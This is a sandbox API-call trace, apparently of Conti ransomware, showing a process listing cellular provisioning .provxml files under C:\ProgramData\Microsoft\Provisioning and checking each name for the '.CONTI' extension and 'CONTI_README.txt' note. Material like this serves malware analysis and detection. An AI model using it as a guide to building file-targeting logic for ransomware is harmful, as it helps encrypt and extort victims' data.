	[0109.592] lstrcpyW (in: lpString1=0x180a198, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.592] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.592] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="532__Connections_Cellular_Orange (Armenia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\532__Connections_Cellular_Orange (Armenia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\532__Connections_Cellular_Orange (Armenia)_i0$(__MVID)@WAP.provxml"
	[0109.592] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x912f8e1e, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x912f8e1e, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x912f8e1e, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x363, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="533__Connections_Cellular_Orange La Réunion (France)_i0$(__MVID)@WAP.provxml", cAlternateFileName="533__C~1.PRO")) returned 1
	[0109.592] lstrcmpiW (lpString1="533__Connections_Cellular_Orange La Réunion (France)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.592] lstrcmpiW (lpString1="533__Connections_Cellular_Orange La Réunion (France)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.592] StrStrIW (lpFirst="533__Connections_Cellular_Orange La Réunion (France)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.592] StrStrIW (lpFirst="533__Connections_Cellular_Orange La Réunion (France)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.592] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.592] lstrlenW (lpString="533__Connections_Cellular_Orange La Réunion (France)_i0$(__MVID)@WAP.provxml") returned 76
	[0109.592] GetProcessHeap () returned 0x1720000
	[0109.592] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14e) returned 0x180caa0
	[0109.592] lstrcpyW (in: lpString1=0x180caa0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.592] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.592] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="533__Connections_Cellular_Orange La Réunion (France)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\533__Connections_Cellular_Orange La Réunion (France)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\533__Connections_Cellular_Orange La Réunion (France)_i0$(__MVID)@WAP.provxml"
	[0109.592] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9131f086, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9131f086, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9131f086, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x356, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="534__Connections_Cellular_Orange La Réunion (France)_i1$(__MVID)@WAP.provxml", cAlternateFileName="534__C~1.PRO")) returned 1
	[0109.592] lstrcmpiW (lpString1="534__Connections_Cellular_Orange La Réunion (France)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.592] lstrcmpiW (lpString1="534__Connections_Cellular_Orange La Réunion (France)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.593] StrStrIW (lpFirst="534__Connections_Cellular_Orange La Réunion (France)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.593] StrStrIW (lpFirst="534__Connections_Cellular_Orange La Réunion (France)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.593] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.593] lstrlenW (lpString="534__Connections_Cellular_Orange La Réunion (France)_i1$(__MVID)@WAP.provxml") returned 76
	[0109.593] GetProcessHeap () returned 0x1720000
	[0109.593] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14e) returned 0x180c7f0
	[0109.593] lstrcpyW (in: lpString1=0x180c7f0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.593] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.593] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="534__Connections_Cellular_Orange La Réunion (France)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\534__Connections_Cellular_Orange La Réunion (France)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\534__Connections_Cellular_Orange La Réunion (France)_i1$(__MVID)@WAP.provxml"
	[0109.593] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9131f086, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9131f086, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9131f086, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="535__Connections_Cellular_Orange (Moldova)_i0$(__MVID)@WAP.provxml", cAlternateFileName="535__C~1.PRO")) returned 1
	[0109.593] lstrcmpiW (lpString1="535__Connections_Cellular_Orange (Moldova)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.593] lstrcmpiW (lpString1="535__Connections_Cellular_Orange (Moldova)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.593] StrStrIW (lpFirst="535__Connections_Cellular_Orange (Moldova)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.593] StrStrIW (lpFirst="535__Connections_Cellular_Orange (Moldova)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.593] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.593] lstrlenW (lpString="535__Connections_Cellular_Orange (Moldova)_i0$(__MVID)@WAP.provxml") returned 66
	[0109.593] GetProcessHeap () returned 0x1720000
	[0109.593] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13a) returned 0x180a2e0
	[0109.593] lstrcpyW (in: lpString1=0x180a2e0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.593] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.593] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="535__Connections_Cellular_Orange (Moldova)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\535__Connections_Cellular_Orange (Moldova)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\535__Connections_Cellular_Orange (Moldova)_i0$(__MVID)@WAP.provxml"
	[0109.593] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9131f086, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9131f086, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9131f086, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x348, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="536__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml", cAlternateFileName="536__C~1.PRO")) returned 1
	[0109.593] lstrcmpiW (lpString1="536__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.593] lstrcmpiW (lpString1="536__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.593] StrStrIW (lpFirst="536__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.593] StrStrIW (lpFirst="536__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.593] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.593] lstrlenW (lpString="536__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml") returned 64
	[0109.593] GetProcessHeap () returned 0x1720000
	[0109.593] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x136) returned 0x6588e70
	[0109.594] lstrcpyW (in: lpString1=0x6588e70, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.594] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.594] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="536__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\536__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\536__Connections_Cellular_Orange (Spain)_i0$(__MVID)@WAP.provxml"
	[0109.594] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9131f086, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9131f086, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x913452f1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d6, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="537__Connections_Cellular_Orange (Botswana)_i0$(__MVID)@WAP.provxml", cAlternateFileName="537__C~1.PRO")) returned 1
	[0109.594] lstrcmpiW (lpString1="537__Connections_Cellular_Orange (Botswana)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.594] lstrcmpiW (lpString1="537__Connections_Cellular_Orange (Botswana)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.594] StrStrIW (lpFirst="537__Connections_Cellular_Orange (Botswana)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.594] StrStrIW (lpFirst="537__Connections_Cellular_Orange (Botswana)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.594] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.594] lstrlenW (lpString="537__Connections_Cellular_Orange (Botswana)_i0$(__MVID)@WAP.provxml") returned 67
	[0109.594] GetProcessHeap () returned 0x1720000
	[0109.594] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x17d78b0
	[0109.594] lstrcpyW (in: lpString1=0x17d78b0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.594] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.594] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="537__Connections_Cellular_Orange (Botswana)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\537__Connections_Cellular_Orange (Botswana)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\537__Connections_Cellular_Orange (Botswana)_i0$(__MVID)@WAP.provxml"
	[0109.594] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x913452f1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x913452f1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x913452f1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34f, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="538__Connections_Cellular_Orange (Cameroon)_i0$(__MVID)@WAP.provxml", cAlternateFileName="538__C~1.PRO")) returned 1
	[0109.594] lstrcmpiW (lpString1="538__Connections_Cellular_Orange (Cameroon)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.594] lstrcmpiW (lpString1="538__Connections_Cellular_Orange (Cameroon)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.594] StrStrIW (lpFirst="538__Connections_Cellular_Orange (Cameroon)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.594] StrStrIW (lpFirst="538__Connections_Cellular_Orange (Cameroon)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.594] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.594] lstrlenW (lpString="538__Connections_Cellular_Orange (Cameroon)_i0$(__MVID)@WAP.provxml") returned 67
	[0109.594] GetProcessHeap () returned 0x1720000
	[0109.594] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x13c) returned 0x65b7bd0
	[0109.594] lstrcpyW (in: lpString1=0x65b7bd0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.594] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.594] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="538__Connections_Cellular_Orange (Cameroon)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\538__Connections_Cellular_Orange (Cameroon)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\538__Connections_Cellular_Orange (Cameroon)_i0$(__MVID)@WAP.provxml"
	[0109.594] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x913452f1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x913452f1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x913452f1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="539__Connections_Cellular_Orange (Central African Republic)_i0$(__MVID)@WAP.provxml", cAlternateFileName="539__C~1.PRO")) returned 1
	[0109.594] lstrcmpiW (lpString1="539__Connections_Cellular_Orange (Central African Republic)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.595] lstrcmpiW (lpString1="539__Connections_Cellular_Orange (Central African Republic)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.595] StrStrIW (lpFirst="539__Connections_Cellular_Orange (Central African Republic)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.595] StrStrIW (lpFirst="539__Connections_Cellular_Orange (Central African Republic)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.595] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.595] lstrlenW (lpString="539__Connections_Cellular_Orange (Central African Republic)_i0$(__MVID)@WAP.provxml") returned 83
	[0109.595] GetProcessHeap () returned 0x1720000
	[0109.595] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x15c) returned 0x1819e68
	[0109.595] lstrcpyW (in: lpString1=0x1819e68, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.595] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.595] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="539__Connections_Cellular_Orange (Central African Republic)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\539__Connections_Cellular_Orange (Central African Republic)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\539__Connections_Cellular_Orange (Central African Republic)_i0$(__MVID)@WAP.provxml"
	[0109.595] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x902943e8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x902943e8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x902943e8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d1, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="53__Connections_Cellular_Mascom Wireless (Botswana)_i0$(__MVID)@WAP.provxml", cAlternateFileName="53__CO~1.PRO")) returned 1
	[0109.595] lstrcmpiW (lpString1="53__Connections_Cellular_Mascom Wireless (Botswana)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.595] lstrcmpiW (lpString1="53__Connections_Cellular_Mascom Wireless (Botswana)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.595] StrStrIW (lpFirst="53__Connections_Cellular_Mascom Wireless (Botswana)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.595] StrStrIW (lpFirst="53__Connections_Cellular_Mascom Wireless (Botswana)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.595] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.595] lstrlenW (lpString="53__Connections_Cellular_Mascom Wireless (Botswana)_i0$(__MVID)@WAP.provxml") returned 75
	[0109.595] GetProcessHeap () returned 0x1720000
	[0109.595] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14c) returned 0x180b678
	[0109.595] lstrcpyW (in: lpString1=0x180b678, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.595] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.595] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="53__Connections_Cellular_Mascom Wireless (Botswana)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\53__Connections_Cellular_Mascom Wireless (Botswana)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\53__Connections_Cellular_Mascom Wireless (Botswana)_i0$(__MVID)@WAP.provxml"
